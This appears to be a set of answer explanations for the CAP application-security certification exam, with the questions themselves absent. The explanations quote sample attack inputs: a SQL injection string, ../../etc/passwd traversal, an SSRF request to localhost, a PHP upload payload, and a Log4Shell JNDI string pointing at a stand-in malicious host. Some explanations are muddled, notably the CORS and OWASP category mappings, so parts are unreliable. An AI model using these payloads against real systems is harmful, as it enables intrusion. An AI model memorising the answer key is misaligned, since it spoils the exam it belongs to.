CAP Certified AppSec Practitioner Exam Questions and Answers

Hashing algorithms are used to securely store passwords by transforming them into fixed-length strings. A secure hashing algorithm for passwords should be resistant to collision attacks, preimage attacks, and brute-force attempts, and should be slow to compute to deter attackers. Let’s evaluate the options:

Option A ("SHA-0"): SHA-0 is the original version of the SHA family, published in 1993, but it was quickly withdrawn due to serious cryptographic weaknesses (e.g., collision vulnerabilities). It is not secure and should not be used.

Option B ("MD5"): MD5 is a widely used hash function but is cryptographically broken. It is vulnerable to collision attacks (e.g., practical attacks demonstrated since 2004) and is extremely fast, making it unsuitable for password hashing as it can be brute-forced easily.

Option C ("SHA-1"): SHA-1, part of the SHA family, is also considered broken for security purposes. It has known collision vulnerabilities (e.g., the SHAttered attack in 2017 demonstrated practical collisions), and like MD5, it is too fast for secure password hashing.

Option D ("Bcrypt"): Bcrypt is specifically designed for password hashing. It is a slow hashing algorithm with a configurable work factor (cost factor), making it resistant to brute-force attacks. It also includes a built-in salt to prevent rainbow table attacks. Bcrypt is widely recommended by security standards (e.g., OWASP, NIST) for secure password storage and is the most secure option among those listed.

The correct answer is D, aligning with the CAP syllabus under "Password Hashing" and "Cryptographic Best Practices."References: SecOps Group CAP Documents - "Secure Password Storage," "Hashing Algorithms," and "OWASP Password Storage Cheat Sheet" sections.

SQL Injection (SQLi) occurs when an attacker injects malicious SQL code into a query by manipulating user input (e.g., ' OR '1'='1'), allowing unauthorized data access or manipulation. Let’s evaluate the defenses:

Option A ("Using a Web Application Firewall (WAF)"): A WAF can detect and block SQL injection attempts by filtering malicious patterns (e.g., ' OR '1'='1'), but it is not the primary defense. WAFs can be bypassed with sophisticated attacks (e.g., encoded payloads), and they are a secondary layer, not a fix for the root cause in the application code.

Option B ("Prepared Statements with Parameterized Queries"): Correct. Prepared statements with parameterized queries separate SQL code from user input by using placeholders (e.g., ? in SELECT * FROM users WHERE username = ?). The database engine handles the input as data, not executable code, preventing SQL injection. This is the industry-standard primary defense (recommended by OWASP and NIST) because it addresses the root cause by ensuring user input cannot alter the query structure.

Option C ("Use of NoSQL Database"): Switching to a NoSQL database (e.g., MongoDB) does not inherently prevent injection vulnerabilities. NoSQL databases can still be vulnerable to injection (e.g., MongoDB’s $where operator), and SQL injection applies to relational databases. This is not a defense against SQLi.

Option D ("Blacklisting Single Quote Character (‘)"): Blacklisting specific characters (e.g., ') attempts to block known malicious input, but it is ineffective as a primary defense. Attackers can bypass blacklists using alternate encodings (e.g., %27 for '), comments (e.g., --), or other techniques. Blacklisting is reactive and prone to evasion, unlike prepared statements.

The correct answer is B, aligning with the CAP syllabus under "SQL Injection Prevention" and "OWASP Top 10 (A03:2021 - Injection)."References: SecOps Group CAP Documents - "SQL Injection Defense," "Secure Coding Practices," and "OWASP SQL Injection Prevention Cheat Sheet" sections.

The request is a POST to /dashboard/userdata with a parameter useragent=http://127.0.0.1/admin. The response is a 200 OK with an HTML page titled "Admin Panel," suggesting the server processed the request and returned content from http://127.0.0.1/admin. Let’s evaluate the vulnerability:

Analysis: The useragent parameter contains a URL (http://127.0.0.1/admin), and the server appears to fetch content from this URL, as indicated by the response containing the "Admin Panel" page. The URL 127.0.0.1 refers to the server’s localhost, meaning the server is making an internal request to itself based on user input. This is a hallmark of Server-Side Request Forgery (SSRF), where an attacker can trick the server into making requests to arbitrary locations, including internal systems (e.g., 127.0.0.1) or external sites. SSRF can lead to accessing internal resources (e.g., admin panels, metadata endpoints) or performing unauthorized actions.

Option A ("HTTP Desync Attack"): HTTP Desync attacks exploit discrepancies in how front-end and back-end servers interpret HTTP requests (e.g., smuggling requests). This scenario involves a straightforward POST request with no evidence of desynchronization or smuggling, so this is incorrect.

Option B ("File Path Traversal Attack"): File Path Traversal involves manipulating file paths (e.g., ../../etc/passwd) to access unauthorized files on the server’s filesystem. The useragent parameter contains a URL, not a file path, and the response indicates a web request, not filesystem access, so this is incorrect.

Option C ("Open URL Redirection"): Open URL Redirection occurs when the server redirects the client to a user-supplied URL (e.g., via a Location header). The response here is a 200 OK, not a redirect (e.g., 302 Found), and the server is fetching content server-side, not redirecting the client, so this is incorrect.

Option D ("Server-Side Request Forgery"): Correct, as the server is making a request to http://127.0.0.1/admin based on the useragent parameter, indicating an SSRF vulnerability.

The correct answer is D, aligning with the CAP syllabus under "Server-Side Request Forgery (SSRF)" and "OWASP Top 10 (A10:2021 - Server-Side Request Forgery)."References: SecOps Group CAP Documents - "SSRF Vulnerabilities," "Input Validation for URLs," and "OWASP SSRF Prevention Cheat Sheet" sections.

Cross-Origin Resource Sharing (CORS) is a security mechanism that allows servers to specify which origins can access their resources, relaxing the Same-Origin Policy (SOP) for legitimate cross-origin requests. CORS uses specific HTTP headers to control this access. The key header for controlling access to resources isAccess-Control-Allow-Origin, which specifies which origins are permitted to access the resource. However, among the provided options, the closest related header isAccess-Control-Allow-Headers, which is part of the CORS standard and controls which request headers can be used in the actual request (e.g., during a preflight OPTIONS request).

Option A ("Access-Control-Request-Method"): This header is sent by the client in a preflight request to indicate the HTTP method (e.g., GET, POST) that will be used in the actual request. It is not used by the server to control access.

Option B ("Access-Control-Request-Headers"): This header is sent by the client in apreflight request to list the headers it plans to use in the actual request. It is not used by the server to control access.

Option C ("Access-Control-Allow-Headers"): This header is sent by the server in response to a preflight request, specifying which headers are allowed in the actual request. While Access-Control-Allow-Origin is the primary header for controlling access, Access-Control-Allow-Headers is part of the CORS standard to manage header-based access control, making this the best match among the options.

Option D ("None of the above"): Incorrect, as Access-Control-Allow-Headers is a CORS header.

The correct answer is C, aligning with the CAP syllabus under "CORS Security" and "HTTP Headers."References: SecOps Group CAP Documents - "CORS Configuration," "Security Headers," and "OWASP Secure Headers Guide" sections.

SAML (Security Assertion Markup Language) is an open standard for exchanging authentication and authorization data between parties, particularly in the context of single sign-on (SSO). It is based on XML and is widely used to enable secure web-based authentication and authorization across different domains. The correct full form isSecurity Assertion Markup Language, where "Assertion" refers to statements about a subject (e.g., identity, attributes), "Markup" indicates the XML-based structure, and "Language" denotes the defined syntax.

Option A ("Security Assertion Markup Language"): This is the correct and official full form of SAML as defined by OASIS (Organization for the Advancement of Structured Information Standards).

Option B ("Security Authorization Markup Language"): Incorrect, as "Authorization" is not part of the acronym; SAML focuses on both authentication and authorization assertions.

Option C ("Security Assertion Management Language"): Incorrect, as "Management" is not part of the acronym; SAML is about markup, not management.

Option D ("Secure Authentication Markup Language"): Incorrect, as "Secure" is not part of the acronym, and SAML covers more than just authentication.

The correct answer is A, aligning with the CAP syllabus under "Authentication and Authorization" and "Single Sign-On (SSO) Standards."References: SecOps Group CAP Documents - "SAML Overview," "Authentication Protocols," and "OWASP Identity Management" sections.

The HTTP request is a POST to /changepassword with a session cookie (JSESSIONID) and parameters new_password and confirm_password. Let’s evaluate each option:

Option A ("The change password feature does not validate the user"): The request includes a JSESSIONID cookie, which typically indicates that the user is authenticated via a session. There’s no evidence that user validation is absent, so this is not correct.

Option B ("The change password feature uses basic authorization"): Basic authorization would involve an Authorization: Basic header with a Base64-encoded username and password, which is not present here. The authentication appears to be session-based (via cookie), not basic auth, so this is incorrect.

Option C ("The change password feature is vulnerable to Cross-Site Request Forgery attack"): Cross-Site Request Forgery (CSRF) occurs when a malicious site tricks a user’s browser into making an unintended request to another site where the user is authenticated. This request lacks a CSRF token (e.g., a unique, unpredictable token in the request body or header) to verify the request’s legitimacy. The Sec-Fetch-Site: same-origin header indicates the request is currently from the same origin, but this is a browser feature, not a server-side CSRF protection. Without a CSRF token, the endpoint is vulnerable to CSRF, as an attacker could craft a malicious form on another site to submit this request on behalf of the user. This is the correct answer.

Option D ("All of the above"): Since A and B are incorrect, D cannot be correct.

The correct answer is C, aligning with the CAP syllabus under "Cross-Site Request Forgery (CSRF)" and "OWASP Top 10 (A08:2021 - Software and Data Integrity Failures)."References: SecOps Group CAP Documents - "CSRF Prevention," "Session Management," and "OWASP Secure Coding Practices" sections.

The code snippet is a Python script that takes user input for a filename, constructs a path by concatenating it with /var/www/html/files/, reads the file content, and prints it. The vulnerability arises because the filename variable is directly used in the path without sanitization or validation, allowing an attacker to manipulate it.

Path Traversal Vulnerability: An attacker can input a value like ../../etc/passwd to navigate outside the intended /var/www/html/files/ directory and access sensitive system files (e.g., /etc/passwd). Since the open() function will attempt to access the resulting path, this is a clear case of Path Traversal if the application runs with sufficient permissions.

Remote Code Execution (RCE): RCE would require the ability to execute arbitrary code, which is not directly possible here. The script only reads files, not executes them, unless the file contains executable code and the server interprets it (e.g., a PHP file on a web server),but this is not implied by the code alone.

Option A ("Path Traversal"): Correct, as the lack of input validation makes the code vulnerable to Path Traversal attacks.

Option B ("Remote Code Execution"): Incorrect, as the code does not execute the file content; it only reads it.

Option C ("Both A and B"): Incorrect, as RCE is not applicable here.

Option D ("None of the above"): Incorrect, as Path Traversal is a valid vulnerability.

The correct answer is A, aligning with the CAP syllabus under "Path Traversal Attacks" and "Input Validation."References: SecOps Group CAP Documents - "Path Traversal Vulnerabilities," "Input Sanitization," and "OWASP Top 10 (A05:2021 - Security Misconfiguration)" sections.

The HTTP request is a GET to /help.php with a parameter file=../../../etc/passwd. Let’s analyze the vulnerability:

The file parameter includes ../ sequences, which are used to navigate up the directory structure (.. moves up one directory level). The request attempts to access /etc/passwd, a sensitive system file on Linux servers that contains user information.

This is indicative of aPath Traversal Vulnerability(also known as Directory Traversal), where an attacker manipulates file paths to access unauthorized files outside the intended directory. If the server does not sanitize or restrict the file parameter, it may serve the contents of /etc/passwd, leading to sensitive information disclosure.

Option A ("Cross-Site Request Forgery Vulnerability"): CSRF involves tricking a user into making an unintended request, typically via a malicious form or link. This request does not indicate CSRF; it’s a direct attempt to manipulate file access, so this is incorrect.

Option B ("Path Traversal Vulnerability"): As explained, the ../ sequences in the file parameter are a clear attempt at path traversal, making this the correct answer.

Option C ("Code Injection Vulnerability"): Code injection involves executing malicious code (e.g., PHP, SQL), but this request aims to read a file, not execute code, so this is incorrect.

Option D ("All of the above"): Since only Path Traversal applies, this is incorrect.

The correct answer is B, aligning with the CAP syllabus under "Path Traversal" and "OWASP Top 10 (A05:2021 - Security Misconfiguration)."References: SecOps Group CAP Documents - "Path Traversal Attacks," "Input Validation," and "OWASP Secure Coding Practices" sections.

A docker-compose.yml file is a YAML-formatted configuration file used with Docker Compose, a tool for defining and running multi-container Docker applications. Its primary significance lies in orchestrating the deployment of Docker containers by specifying services (e.g., web server, database), networks (e.g., internal communication), and volumes (e.g., persistent storage). An exposed docker-compose.yml file poses a security risk because it may reveal sensitive configuration details, such as service names, ports, environment variables (e.g., database credentials), and network settings, which attackers could exploit to target the application.

Option A ("The docker-compose.yml file is a YAML file that contains the application source code"): Incorrect, as this file defines configuration and orchestration, not source code.

Option B ("The docker-compose.yml file is a YAML file that contains the server logs and user session information..."): Incorrect, as logs and session data are stored elsewhere (e.g., in container logs or databases), not in docker-compose.yml.

Option C ("The docker-compose.yml file is a YAML file that is used to define the services, networks, and volumes..."): Correct, as it accurately describes the file’s purpose and content, including configuration and dependencies, which are critical for Docker applications.

Option D ("The docker-compose.yml file is a YAML file that contains the configuration of load balancers and firewalls"): Incorrect, as it focuses only on load balancers and firewalls, which are specific components and not the primary focus of the file.

The correct answer is C, aligning with the CAP syllabus under "Container Security" and "Configuration Management."References: SecOps Group CAP Documents - "Docker Security," "Container Orchestration," and "OWASP Application Security Verification Standard (ASVS)" sections.

The Same-Origin Policy (SOP) is a fundamental security mechanism in web browsers that restricts how a document or script loaded from one origin can interact with resources from another origin. An origin is defined by the combination ofprotocol,host, andport. Two pages have the same origin if their protocol (e.g., http://), host (e.g., www.example.com ), and port (default is 80 for HTTP) match exactly. The given URL is http://www.example.com/dir/page2.html, which uses HTTP, host www.example.com, and the default port 80.

Option 1 ("http://www.example.com/dir/other.html"): Matches the protocol (http), host (www.example.com ), and port (default 80), so it is in the same origin.

Option 2 ("http://www.example.com:81/dir/other.html"): Differs in port (81 vs. default 80), so it is a different origin.

Option 3 ("http://www.example.com/dir/other.html"): Identical to Option 1, matching protocol, host, and port, so it is in the same origin. However, since it’s a duplicate of Option 1 in the list, it doesn’t add a new page.

Option 4 ("http://en.example.com/dir/other.html"): Differs in host (en.example.com vs.www.example.com ), so it is a different origin.

Since the question asks which pages are in the same origin, and only Option 1 (and its duplicate Option 3) matches, the correct answer is A ("1 Only"), considering unique pages. The CAP syllabus covers SOP under "Client-Side Security" and "Cross-Origin Resource Sharing (CORS)."References: SecOps Group CAP Documents - "Same-Origin Policy," "Browser Security Models," and "OWASP Client-Side Security" sections.

The robots.txt file is a text file placed in a website’s root directory to communicate with web crawlers (e.g., Googlebot) about which pages or resources should not be accessed or indexed. It uses directives like Disallow to specify restricted areas (e.g., Disallow: /admin/). However, robots.txt is not a security mechanism; it is only a request to crawlers, and malicious bots or users can ignore it.

Option A ("Developers must not list any sensitive files and directories in this file"): Correct. Listing sensitive files or directories (e.g., Disallow: /secret/) in robots.txt can inadvertently expose their existence to attackers, who can then attempt to access them directly. The best practice is to avoid mentioning sensitive paths and rely on proper access controls (e.g., authentication, authorization) instead.

Option B ("Developers must list all sensitive files and directories in this file to secure them"): Incorrect. Listing sensitive paths in robots.txt does not secure them; it only informs crawlers to avoid them, and it can serve as a roadmap for attackers.

Option C ("Both A and B"): Incorrect, as A and B are contradictory; B is false.

Option D ("None of the above"): Incorrect, as A is true.

The correct answer is A, aligning with the CAP syllabus under "Web Crawler Security" and "Information Disclosure Prevention."References: SecOps Group CAP Documents - "robots.txt Usage," "Information Exposure," and "OWASP Web Security Testing Guide" sections.

Cookies can have security attributes to protect them against various attacks. Let’s evaluate each option to determine which attribute is not used to secure cookies:

Option A ("HttpOnly"): The HttpOnly attribute prevents cookies from being accessed by JavaScript (e.g., via document.cookie). This mitigates XSS attacks that attempt to steal session cookies, making it a valid security attribute.

Option B ("Secure"): The Secure attribute ensures that the cookie is only sent over HTTPS connections, preventing it from being transmitted over unencrypted HTTP. This protects against interception (e.g., in a man-in-the-middle attack), making it a valid security attribute.

Option C ("Restrict"): There is no standard cookie attribute called Restrict. Cookie security attributes are well-defined (e.g., HttpOnly, Secure, SameSite), and Restrict does not exist in this context. This is not a valid attribute for securing cookies.

Option D ("Same-Site"): The SameSite attribute (e.g., SameSite=Strict or SameSite=Lax)controls whether a cookie is sent with cross-site requests. It helps mitigate CSRF attacks by ensuring the cookie is only sent with same-site requests (or limited cross-site scenarios), making it a valid security attribute.

The correct answer is C, as Restrict is not a recognized cookie attribute, aligning with the CAP syllabus under "Cookie Security" and "Session Management."References: SecOps Group CAP Documents - "Cookie Security Attributes," "Session Security," and "OWASP Session Management Cheat Sheet" sections.

CORS (Cross-Origin Resource Sharing) is a mechanism that allows servers to specify which origins can access their resources, enhancing security for cross-origin requests. A common misconfiguration occurs with theAccess-Control-Allow-OriginandAccess-Control-Allow-Credentialsheaders. WhenAccess-Control-Allow-Originis set to * (wildcard, allowing all origins), it permits any domain to make requests. However, ifAccess-Control-Allow-Credentialsis set to true (allowing credentials like cookies or HTTP authentication), this creates a security risk. Browsers will block such requests because sending credentials with a wildcard origin violates CORS security policies, but an attacker could exploit this misconfiguration to trick a victim’s browser into making unauthorized requests if other controls are absent.

Option A is correct because the combination of Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true is exploitable, as it enables potential credential leakage or unauthorized access. Option B is incorrect because Access-Control-Allow-Credentials: false disables credential sending, reducing exploitability. Option C is incorrect because the value of Access-Control-Allow-Credentials is not irrelevant; it must be false with a wildcard origin to comply with security standards. Option D ("All of the above") is incorrect as only A holds true. This is a key topic in the CAP syllabus under "CORS Misconfiguration" and "Client-Side Security."References: SecOps Group CAP Documents - "CORS Configuration," "Security Misconfigurations," and "OWASP Secure Headers" sections.

The Log4j vulnerability, identified asCVE-2021-44228(commonly known as Log4Shell), is a critical security flaw in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability allows remote code execution (RCE) when an attacker crafts a malicious input (e.g., ${jndi:ldap://malicious.com/a}) that is logged by a vulnerable Log4j instance. The exploit leveragesJNDI (Java Naming and Directory Interface) Injection, where the JNDI lookup mechanism is abused to load remote code from an attacker-controlled server. All options (A, B, and C) list "JNDI Injection," which is correct, but since B is marked as the selected answer in the image, it is taken as the intended choice. This redundancy in options suggests a possible error in the question design, but the vulnerability is unequivocally JNDI Injection. Option D ("None of the above") is incorrect as JNDI Injection is the exploited vulnerability. This topic is critical in the CAP syllabus under injection attacks and RCE prevention.References: SecOps Group CAP Documents - "Injection Vulnerabilities," "Remote Code Execution," and "OWASP Top 10 (A03:2021 - Injection)" sections.

The screenshot shows an HTTP POST request to /upload.php with a multipart/form-data payload, where the attacker uploads a file named malicious.php disguised as an image/jpeg but containing PHP code (<?php phpinfo(); ?>). This indicates an attempt to exploit aFile Upload Vulnerability. Such vulnerabilities occur when an application allows users to upload files without proper validation or sanitization, enabling attackers to upload malicious scripts (e.g., PHP) that can be executed on the server. In this case, if the server executes the uploaded malicious.php, it could expose server information via phpinfo() or perform other malicious actions.

Option A ("HTTP Desync Attack") involves manipulating HTTP request pipelines, which is not relevant here as the request appears standard. Option B ("File Path Traversal Attack") involves accessing unauthorized files using ../, which is not evident in this request. Option D ("Server-Side Request Forgery") involves tricking the server into making unintended requests, which does not apply to file uploads. Thus, C is the correct answer, aligning with the CAP syllabus under "File Handling Security" and "OWASP Top 10 (A05:2021 - Security Misconfiguration)."References: SecOps Group CAP Documents - "File Upload Vulnerabilities," "Input Validation," and "OWASP Top 10" sections.